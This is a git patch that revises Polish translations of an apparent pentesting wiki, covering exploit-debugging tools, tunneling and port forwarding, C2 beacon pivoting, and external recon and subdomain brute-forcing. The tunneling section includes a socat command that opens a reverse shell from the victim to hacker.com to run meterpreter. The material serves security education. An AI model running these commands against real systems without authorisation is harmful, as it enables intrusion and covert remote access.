From b446aec510460ee8335af513498deb87908cb6af Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Jan 2025 21:14:32 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met --- .../tools/README.md | 34 ++-- .../tunneling-and-port-forwarding.md | 58 +++---- .../external-recon-methodology/README.md | 48 +++--- .../pentesting-methodology.md | 10 +- .../phishing-documents.md | 32 ++-- .../escaping-from-gui-applications.md | 156 +++++++++--------- .../privilege-escalation/README.md | 126 +++++++------- .../9200-pentesting-elasticsearch.md | 6 +- .../pentesting-ftp/README.md | 14 +- .../README.md | 40 ++--- .../iis-internet-information-services.md | 14 +- .../pentesting-web/php-tricks-esp/README.md | 34 ++-- .../pentesting-web/put-method-webdav.md | 16 +- src/pentesting-web/clickjacking.md | 30 ++-- .../exploiting-__viewstate-parameter.md | 28 ++-- src/pentesting-web/email-injections.md | 18 +- src/pentesting-web/file-inclusion/README.md | 62 +++---- src/pentesting-web/ldap-injection.md | 10 +- src/pentesting-web/open-redirect.md | 8 +- src/pentesting-web/saml-attacks/README.md | 42 ++--- src/pentesting-web/sql-injection/README.md | 38 ++--- ...and-ntlm-chanllenge-response-disclosure.md | 12 +- ...ble-stylesheet-language-transformations.md | 18 +- .../xss-cross-site-scripting/README.md | 72 ++++---- .../xxe-xee-xml-external-entity.md | 62 +++---- .../cheat-engine.md | 22 +-- src/todo/hardware-hacking/radio.md | 34 ++-- .../1.-tokenizing.md | 6 +- .../active-directory-methodology/README.md | 148 ++++++++--------- .../printers-spooler-service-abuse.md | 10 +- src/windows-hardening/ntlm/README.md | 34 ++-- .../README.md | 106 ++++++------ 32 files changed, 678 insertions(+), 670 deletions(-) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 8bc96cfd7..170cdd9e7 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -121,13 +121,13 @@ gef➤ pattern search 0x6261617762616176 #### Te same adresy w GDB -Podczas debugowania GDB będzie miało **nieco inne adresy niż te używane przez binarny podczas wykonywania.** Możesz sprawić, że GDB będzie miało te same adresy, wykonując: +Podczas debugowania GDB będzie miało **nieco inne adresy niż te używane przez binarny podczas wykonywania.** Możesz sprawić, aby GDB miało te same adresy, wykonując: - `unset env LINES` - `unset env COLUMNS` - `set env _=` _Podaj absolutną ścieżkę do binarnego_ - Wykorzystaj binarny, używając tej samej absolutnej ścieżki -- `PWD` i `OLDPWD` muszą być takie same podczas korzystania z GDB i podczas eksploatacji binarnego +- `PWD` i `OLDPWD` muszą być takie same podczas używania GDB i podczas eksploatacji binarnego #### Backtrace, aby znaleźć wywoływane funkcje @@ -147,11 +147,11 @@ gef➤ bt ## Ghidra -### Znajdź offset stosu +### Find stack offset **Ghidra** jest bardzo przydatna do znalezienia **offsetu** dla **przepełnienia bufora dzięki informacjom o położeniu zmiennych lokalnych.**\ Na przykład, w poniższym przykładzie, przepełnienie bufora w `local_bc` wskazuje, że potrzebny jest offset `0xbc`. Ponadto, jeśli `local_10` jest ciastkiem kanarowym, wskazuje to, że aby je nadpisać z `local_bc`, potrzebny jest offset `0xac`.\ -&#xNAN;_Remember, że pierwsze 0x08, z którego zapisywane jest RIP, należy do RBP._ +_Remember, że pierwsze 0x08, z którego zapisywana jest RIP, należy do RBP._ ![](<../../../images/image (1061).png>) @@ -164,9 +164,9 @@ Get every opcode executed in the program. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompiluj bez zabezpieczeń\ -&#xNAN;**-o** --> Wyjście\ -&#xNAN;**-g** --> Zapisz kod (GDB będzie mógł go zobaczyć)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> Aby dezaktywować ASLR w linuxie +**-o** --> Wyjście\ +**-g** --> Zapisz kod (GDB będzie mógł go zobaczyć)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Aby dezaktywować ASLR w Linuxie **Aby skompilować shellcode:**\ **nasm -f elf assembly.asm** --> zwraca ".o"\ @@ -174,16 +174,16 @@ Get every opcode executed in the program. ## Objdump -**-d** --> **Zdekompiluj** sekcje wykonywalne (zobacz opcodes skompilowanego shellcode, znajdź ROP Gadgets, znajdź adres funkcji...)\ -&#xNAN;**-Mintel** --> **Intel** składnia\ -&#xNAN;**-t** --> **Tabela** symboli\ -&#xNAN;**-D** --> **Zdekompiluj wszystko** (adres zmiennej statycznej)\ -&#xNAN;**-s -j .dtors** --> sekcja dtors\ -&#xNAN;**-s -j .got** --> sekcja got\ --D -s -j .plt --> sekcja **plt** **zdekompilowana**\ -&#xNAN;**-TR** --> **Relokacje**\ +**-d** --> **Rozmontuj** sekcje wykonywalne (zobacz opcodes skompilowanego shellcode, znajdź ROP Gadgets, znajdź adres funkcji...)\ +**-Mintel** --> **Intel** składnia\ +**-t** --> Tabela **symboli**\ +**-D** --> **Rozmontuj wszystko** (adres statycznej zmiennej)\ +**-s -j .dtors** --> sekcja dtors\ +**-s -j .got** --> sekcja got\ +-D -s -j .plt --> sekcja **plt** **dekompilowana**\ +**-TR** --> **Relokacje**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Adres "puts" do modyfikacji w GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Adres lub zmienna statyczna (te są przechowywane w sekcji DATA). +**objdump -D ./exec | grep "VAR_NAME"** --> Adres lub statyczna zmienna (te są przechowywane w sekcji DATA). ## Core dumps @@ -210,7 +210,7 @@ Get every opcode executed in the program. ### Debugging w zdalnym linuxie -W folderze IDA można znaleźć pliki binarne, które można wykorzystać do debugowania pliku binarnego w systemie linux. Aby to zrobić, przenieś plik binarny `linux_server` lub `linux_server64` na serwer linux i uruchom go w folderze, który zawiera plik binarny: +W folderze IDA możesz znaleźć pliki binarne, które można użyć do debugowania binarnego w systemie linux. Aby to zrobić, przenieś plik binarny `linux_server` lub `linux_server64` na serwer linux i uruchom go w folderze, który zawiera plik binarny: ``` ./linux_server64 -Ppass ``` diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 9f411b377..8fa565191 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,11 +1,11 @@ -# Tunneling i Przekierowywanie Portów +# Tunneling and Port Forwarding {{#include ../banners/hacktricks-training.md}} -## Wskazówka Nmap +## Nmap tip > [!WARNING] -> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skanowanie TCP** (`-sT`), aby to działało. +> **Skanowanie ICMP** i **SYN** nie mogą być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skanowanie TCP** (`-sT`), aby to działało. ## **Bash** @@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in ``` ### Port2Port -Lokalny port --> Skompromitowany host (SSH) --> Trzecia_pudełko:Port +Lokalny port --> Skompromitowany host (SSH) --> Trzecia_puszka:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example @@ -57,7 +57,7 @@ ssh -f -N -D @ #All sent to local port ``` ### Reverse Port Forwarding -To jest przydatne do uzyskiwania reverse shelli z wewnętrznych hostów przez DMZ do twojego hosta: +To jest przydatne do uzyskiwania odwrotnych powłok z wewnętrznych hostów przez DMZ do twojego hosta: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -89,8 +89,8 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE -Możesz **tunele** przez **ssh** cały **ruch** do **podsieci** przez hosta.\ -Na przykład, przekierowując cały ruch idący do 10.10.10.0/24 +Możesz **tunnel** przez **ssh** cały **traffic** do **subnetwork** przez hosta.\ +Na przykład, przekierowując cały traffic kierujący się do 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS proxy -Otwórz port w serwerze zespołu nasłuchujący na wszystkich interfejsach, który może być używany do **przekierowywania ruchu przez beacon**. +Otwórz port w serwerze zespołu nasłuchujący na wszystkich interfejsach, który może być użyty do **przekierowywania ruchu przez beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -145,18 +145,18 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port > [!WARNING] -> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego hosta:port +> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze Team Server, a ruch jest wysyłany do serwera Team Server, a stamtąd do wskazanego host:port ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` -Do zauważenia: +Aby zauważyć: - Odwrócone przekierowanie portów Beacona jest zaprojektowane do **tunnelingu ruchu do Serwera Zespołu, a nie do przekazywania między poszczególnymi maszynami**. - Ruch jest **tunnelowany w ramach ruchu C2 Beacona**, w tym linków P2P. - **Uprawnienia administratora nie są wymagane** do tworzenia odwróconych przekierowań portów na wysokich portach. -### rPort2Port lokalny +### rPort2Port lokalnie > [!WARNING] > W tym przypadku **port jest otwierany na hoście beacona**, a nie na Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port @@ -168,7 +168,7 @@ rportfwd_local stop [bind port] [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -Musisz przesłać plik webowy tunel: ashx|aspx|js|jsp|php|php|jsp +Musisz przesłać plik tunelowy: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` @@ -186,7 +186,7 @@ Musisz używać **tej samej wersji dla klienta i serwera** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` -### Przekierowanie portów +### Przekierowywanie portów ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim @@ -286,13 +286,15 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` -Możesz obejść **proxy bez uwierzytelnienia**, wykonując tę linię zamiast ostatniej w konsoli ofiary: +Możesz obejść **nieautoryzowany proxy**, wykonując tę linię zamiast ostatniej w konsoli ofiary: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` -### SSL Socat Tunnel +[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) -**/bin/sh console** +### Tunel SSL Socat + +**/bin/sh konsola** Utwórz certyfikaty po obu stronach: Klient i Serwer ```bash @@ -318,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -To jak wersja konsolowa PuTTY (opcje są bardzo podobne do klienta ssh). +To jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh). -Ponieważ ten plik binarny będzie wykonywany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie: +Ponieważ ten plik binarny będzie uruchamiany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -344,7 +346,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 Musisz mieć **dostęp RDP do systemu**.\ Pobierz: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - To narzędzie wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji Zdalnego Pulpitu w systemie Windows. DVC odpowiada za **tunneling pakietów przez połączenie RDP**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - To narzędzie wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji Zdalnego Pulpitu w systemie Windows. DVC jest odpowiedzialne za **tunneling pakietów przez połączenie RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten sposób: @@ -352,9 +354,9 @@ Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten spos # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Teraz możemy **połączyć** się z **ofiarą** przez **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **plugin SocksOverRDP jest włączony**, i będzie **nasłuchiwać** na **127.0.0.1:1080**. +Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **wtyczka SocksOverRDP jest włączona**, i będzie **nasłuchiwać** na **127.0.0.1:1080**. -**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary binarkę `SocksOverRDP-Server.exe`: +**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary plik binarny `SocksOverRDP-Server.exe`: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` @@ -362,13 +364,13 @@ Teraz potwierdź na swoim urządzeniu (atakującym), że port 1080 nasłuchuje: ``` netstat -antb | findstr 1080 ``` -Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxy'owania ruchu przez ten port.** +Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyfikacji ruchu przez ten port.** -## Proxify aplikacje GUI Windows +## Proxyfikacja aplikacji GUI w Windows -Możesz sprawić, że aplikacje GUI Windows będą korzystać z proxy, używając [**Proxifier**](https://www.proxifier.com/).\ +Możesz sprawić, że aplikacje GUI w Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\ W **Profile -> Proxy Servers** dodaj IP i port serwera SOCKS.\ -W **Profile -> Proxification Rules** dodaj nazwę programu do proxy'owania oraz połączenia do IP, które chcesz proxy'ować. +W **Profile -> Proxification Rules** dodaj nazwę programu do proxyfikacji oraz połączenia do IP, które chcesz proxyfikować. ## Ominięcie proxy NTLM @@ -381,7 +383,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -Uwierzytelnia się w stosunku do proxy i wiąże lokalny port, który jest przekazywany do zewnętrznej usługi, którą określisz. Następnie możesz używać wybranego narzędzia przez ten port.\ +Uwierzytelnia się w stosunku do proxy i wiąże lokalny port, który jest przekazywany do zewnętrznej usługi, którą określisz. Następnie możesz używać narzędzia według własnego wyboru przez ten port.\ Na przykład, aby przekazać port 443 ``` Username Alice @@ -390,7 +392,7 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Teraz, jeśli ustawisz na przykład w ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\ +Teraz, jeśli na przykład ustawisz na ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\ Możesz również użyć **meterpreter**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222. ## YARP @@ -478,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **to narzędzie do eksponowania rozwiązań w Internecie w jednej linii poleceń.**\ -&#xNAN;_Exposition URI są jak:_ **UID.ngrok.io** +_Exposition URI są jak:_ **UID.ngrok.io** ### Instalacja diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 3d6fa1b29..7f30827c2 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -28,7 +28,7 @@ Numer systemu autonomicznego (**ASN**) to **unikalny numer** przypisany do **sys Interesujące jest sprawdzenie, czy **firma przypisała jakikolwiek ASN**, aby znaleźć jej **zakresy IP.** Warto przeprowadzić **test podatności** na wszystkie **hosty** w **zakresie** i **szukać domen** w tych IP.\ Możesz **wyszukiwać** według **nazwa firmy**, według **IP** lub według **domeny** w [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**W zależności od regionu firmy, te linki mogą być przydatne do zbierania dodatkowych danych:** [**AFRINIC**](https://www.afrinic.net) **(Afryka),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Ameryka Północna),** [**APNIC**](https://www.apnic.net) **(Azja),** [**LACNIC**](https://www.lacnic.net) **(Ameryka Łacińska),** [**RIPE NCC**](https://www.ripe.net) **(Europa). W każdym razie, prawdopodobnie wszystkie** przydatne informacje **(zakresy IP i Whois)** pojawiają się już w pierwszym linku. +**W zależności od regionu firmy, te linki mogą być przydatne do zebrania dodatkowych danych:** [**AFRINIC**](https://www.afrinic.net) **(Afryka),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Ameryka Północna),** [**APNIC**](https://www.apnic.net) **(Azja),** [**LACNIC**](https://www.lacnic.net) **(Ameryka Łacińska),** [**RIPE NCC**](https://www.ripe.net) **(Europa). W każdym razie, prawdopodobnie wszystkie** przydatne informacje **(zakresy IP i Whois)** pojawiają się już w pierwszym linku. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -56,7 +56,7 @@ Możesz znaleźć IP i ASN domeny używając [http://ipv4info.com/](http://ipv4i ### **Szukając luk w zabezpieczeniach** -Na tym etapie znamy **wszystkie zasoby w zakresie**, więc jeśli masz na to pozwolenie, możesz uruchomić jakiś **skaner luk** (Nessus, OpenVAS) na wszystkich hostach.\ +Na tym etapie znamy **wszystkie zasoby w zakresie**, więc jeśli masz pozwolenie, możesz uruchomić jakiś **skaner luk** (Nessus, OpenVAS) na wszystkich hostach.\ Możesz również przeprowadzić [**skanowanie portów**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **lub użyć usług takich jak** shodan **aby znaleźć** otwarte porty **i w zależności od tego, co znajdziesz, powinieneś** zajrzeć do tej książki, aby dowiedzieć się, jak przeprowadzić pentesting różnych możliwych usług.\ **Warto również wspomnieć, że możesz przygotować kilka** domyślnych nazw użytkowników **i** haseł **i spróbować** brute-force'ować usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). @@ -82,7 +82,7 @@ Możesz również użyć narzędzia online do uzyskania tych informacji: [http:/ ### **Reverse Whois (loop)** -W **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **emaile**, numery telefonów... Ale co jest jeszcze bardziej interesujące, to że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrócone zapytania whois według dowolnego z tych pól** (na przykład inne rejestry whois, w których pojawia się ten sam email).\ +W **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **emaile**, numery telefonów... Ale co jest jeszcze bardziej interesujące, to to, że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrócone zapytania whois według dowolnego z tych pól** (na przykład inne rejestry whois, w których pojawia się ten sam email).\ Możesz użyć narzędzi online, takich jak: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Darmowe** @@ -96,7 +96,7 @@ Możesz użyć narzędzi online, takich jak: Możesz zautomatyzować to zadanie, używając [**DomLink** ](https://github.com/vysecurity/DomLink) (wymaga klucza API whoxy).\ Możesz również przeprowadzić automatyczne odkrywanie reverse whois za pomocą [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` -**Zauważ, że możesz użyć tej techniki, aby odkrywać więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.** +**Zauważ, że możesz użyć tej techniki, aby odkryć więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.** ### **Trackers** @@ -141,7 +141,7 @@ return fhash ``` ### **Copyright / Uniq string** -Szukaj na stronach internetowych **ciągów, które mogą być udostępniane w różnych witrynach w tej samej organizacji**. **Ciąg praw autorskich** może być dobrym przykładem. Następnie wyszukaj ten ciąg w **google**, w innych **przeglądarkach** lub nawet w **shodan**: `shodan search http.html:"Copyright string"` +Szukaj na stronach internetowych **ciągów, które mogą być dzielone między różnymi stronami w tej samej organizacji**. **Ciąg praw autorskich** może być dobrym przykładem. Następnie wyszukaj ten ciąg w **google**, w innych **przeglądarkach** lub nawet w **shodan**: `shodan search http.html:"Copyright string"` ### **CRT Time** @@ -159,7 +159,7 @@ Możesz użyć strony internetowej takiej jak [https://dmarc.live/info/google.co ### **Pasywne przejęcie** -Wygląda na to, że powszechne jest przypisywanie subdomen do adresów IP należących do dostawców chmury i w pewnym momencie **utrata tego adresu IP, ale zapomnienie o usunięciu rekordu DNS**. Dlatego, po prostu **uruchamiając VM** w chmurze (takiej jak Digital Ocean), faktycznie **przejmujesz niektóre subdomeny**. +Wygląda na to, że powszechne jest przypisywanie subdomen do adresów IP należących do dostawców chmury i w pewnym momencie **utrata tego adresu IP, ale zapomnienie o usunięciu rekordu DNS**. Dlatego wystarczy **uruchomić VM** w chmurze (takiej jak Digital Ocean), aby faktycznie **przejąć niektóre subdomeny**. [**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia historię na ten temat i proponuje skrypt, który **uruchamia VM w DigitalOcean**, **uzyskuje** **IPv4** nowej maszyny i **wyszukuje w Virustotal rekordy subdomen** wskazujące na nią. @@ -179,10 +179,10 @@ Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, u ### **Szukając luk w zabezpieczeniach** -Sprawdź niektóre [przejęcia domen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Może jakaś firma **używa jakiejś domeny**, ale **straciła jej własność**. Po prostu zarejestruj ją (jeśli jest wystarczająco tania) i daj znać firmie. +Sprawdź niektóre [przejęcia domen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Może jakaś firma **używa jakiejś domeny**, ale **straciła jej własność**. Po prostu zarejestruj ją (jeśli wystarczająco tania) i daj znać firmie. Jeśli znajdziesz jakąkolwiek **domenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/index.html#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\ -&#xNAN;_Note, że czasami domena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._ +_Note, że czasami domena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._ ## Subdomeny @@ -191,7 +191,7 @@ Jeśli znajdziesz jakąkolwiek **domenę z adresem IP różnym** od tych, które Czas znaleźć wszystkie możliwe subdomeny każdej znalezionej domeny. > [!TIP] -> Zauważ, że niektóre narzędzia i techniki do znajdowania domen mogą również pomóc w znajdowaniu subdomen +> Zauważ, że niektóre narzędzia i techniki do znajdowania domen mogą również pomóc w znajdowaniu subdomen. ### **DNS** @@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -- [**gau**](https://github.com/lc/gau)**:** pobiera znane URL-e z Open Threat Exchange AlienVault, Wayback Machine i Common Crawl dla dowolnej domeny. +- [**gau**](https://github.com/lc/gau)**:** pobiera znane adresy URL z Open Threat Exchange AlienVault, Wayback Machine i Common Crawl dla dowolnej domeny. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) to wrapper wokół `massdns`, napisany w go, który pozwala na enumerację ważnych subdomen za pomocą aktywnego bruteforce, a także rozwiązywanie subdomen z obsługą wildcard i łatwym wsparciem dla wejścia-wyjścia. +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) to wrapper wokół `massdns`, napisany w go, który pozwala na enumerację ważnych subdomen za pomocą aktywnego bruteforce, a także na rozwiązywanie subdomen z obsługą wildcard i łatwym wsparciem dla wejścia-wyjścia. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -365,7 +365,7 @@ Po znalezieniu subdomen za pomocą otwartych źródeł i brute-forcingu, możesz ```bash cat subdomains.txt | dnsgen - ``` -- [**goaltdns**](https://github.com/subfinder/goaltdns): Podaj domeny i subdomeny, aby wygenerować permutacje. +- [**goaltdns**](https://github.com/subfinder/goaltdns): Dla domen i subdomen generuje permutacje. - Możesz uzyskać permutacje goaltdns **wordlist** [**tutaj**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt @@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - [**altdns**](https://github.com/infosec-au/altdns): Oprócz generowania permutacji subdomen, może również próbować je rozwiązać (ale lepiej użyć wcześniej wspomnianych narzędzi). -- Możesz uzyskać permutacje altdns **wordlist** [**tutaj**](https://github.com/infosec-au/altdns/blob/master/words.txt). +- Możesz uzyskać permutacje altdns **wordlist** w [**tutaj**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to narzędzie do brutalnego ataku na subdomeny, połączone z niezwykle prostym, ale skutecznym algorytmem opartym na odpowiedziach DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozszerzać je jeszcze bardziej w pętli na podstawie informacji zebranych podczas skanowania DNS. +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to fuzzer do brutalnego wymuszania subdomen, połączony z niezwykle prostym, ale skutecznym algorytmem opartym na odpowiedziach DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozszerzać je jeszcze bardziej w pętli na podstawie informacji zebranych podczas skanowania DNS. ``` echo www | subzuf facebook.com ``` @@ -459,7 +459,7 @@ Sprawdź możliwe [**przejęcia subdomen**](../../pentesting-web/domain-subdomai Jeśli **subdomena** wskazuje na jakiś **bucket S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/index.html). Jeśli znajdziesz jakąkolwiek **subdomenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/index.html#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\ -&#xNAN;_Note, że czasami subdomena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._ +_Note, że czasami subdomena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._ ## IPs @@ -482,12 +482,12 @@ Możesz również sprawdzić, które domeny wskazują na konkretny adres IP, uż > Znaleźliśmy wszystkie firmy i ich zasoby oraz znamy zakresy IP, domeny i subdomeny w zakresie. Czas na poszukiwanie serwerów WWW. -W poprzednich krokach prawdopodobnie już przeprowadziłeś jakieś **recon IP i odkrytych domen**, więc mogłeś **już znaleźć wszystkie możliwe serwery WWW**. Jednak jeśli tego nie zrobiłeś, teraz zobaczymy kilka **szybkich sztuczek do wyszukiwania serwerów WWW** w zakresie. +W poprzednich krokach prawdopodobnie już przeprowadziłeś jakieś **recon dotyczące odkrytych IP i domen**, więc mogłeś **już znaleźć wszystkie możliwe serwery WWW**. Jednak jeśli tego nie zrobiłeś, teraz zobaczymy kilka **szybkich sztuczek do wyszukiwania serwerów WWW** 